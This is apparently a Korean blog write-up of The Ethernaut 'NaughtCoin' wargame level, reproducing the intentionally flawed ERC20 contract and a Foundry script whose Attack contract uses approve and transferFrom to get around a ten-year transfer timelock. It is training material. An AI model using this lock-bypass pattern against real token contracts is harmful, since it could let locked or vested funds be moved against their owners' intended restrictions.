728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
ERC 20을 사용하여 제작된 코드이다.
나에게 INITAL_SUPPLY만큼의 돈이 있고 해당 돈을 0으로 만들면 된다.
그러나 transfer함수를 사용하기 위해선 lockTokens()를 우회해야 하는데 block.timestamp가 timeLock보다 커야한다.
즉, 10년 이상이 지나야 한다.
이걸 우회하는건 사실상 불가능에 가깝기에 transfer함수 대신에 다른걸 사용해야 한다.
ERC 20문서를 잘 보면은 transfer이외에 transferFrom함수도 있다.
https://github.com/ethereum/ercs/blob/master/ERCS/erc-20.md
즉, 다른 컨트랙트에서 내 지갑주소의 돈을 가져올 수 있다.
이걸 위해선 내 지갑주소에서 ERC20코인을 approve해야 하기에 먼저 내 지갑 주소에서 INHITIAL_SUPPLY만큼의 코인을 approve하고 다른 컨트랙트에서 해당 코인들을 가져가면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/NaughtCoin.sol";
contract Attack {
NaughtCoin public target;
constructor(NaughtCoin _target){
target = _target;
}
function attack() external{
uint256 INITIAL_SUPPLY = target.INITIAL_SUPPLY();
target.transferFrom(0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C,address(this),INITIAL_SUPPLY);
}
}
contract NaughtCoinSolve is Script {
NaughtCoin public target;
function setUp() external{
address payable targetAddress = payable(0x07485B7891eBA4329B7587fA6EcE45014fDeB29D);
target = NaughtCoin(targetAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack attacker = new Attack(target);
target.approve(address(attacker), target.INITIAL_SUPPLY());
attacker.attack();
vm.stopBroadcast();
}
}
NaughtCoinSolve에서 Attack컨트랙트에 approve를 해주고 attacker에서 transferFrom으로 내 지갑주소의 돈을 가져가면 된다.
그리고 NauthCoin에서 계속 오류나가지고 보니깐 transfer함수에 return값이 없어서 그러는거 같은데
그냥 super.transfer뒤에 return true붙여주면 된다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Recovery (0) | 2025.02.02 |
---|---|
[The Ethernaut] Preservation (0) | 2025.02.02 |
[The Ethernaut] Gatekeepr Two (0) | 2025.01.31 |
[The Ethernaut] Gatekeeper One (0) | 2025.01.31 |
[The Ethernaut] Privacy (0) | 2025.01.30 |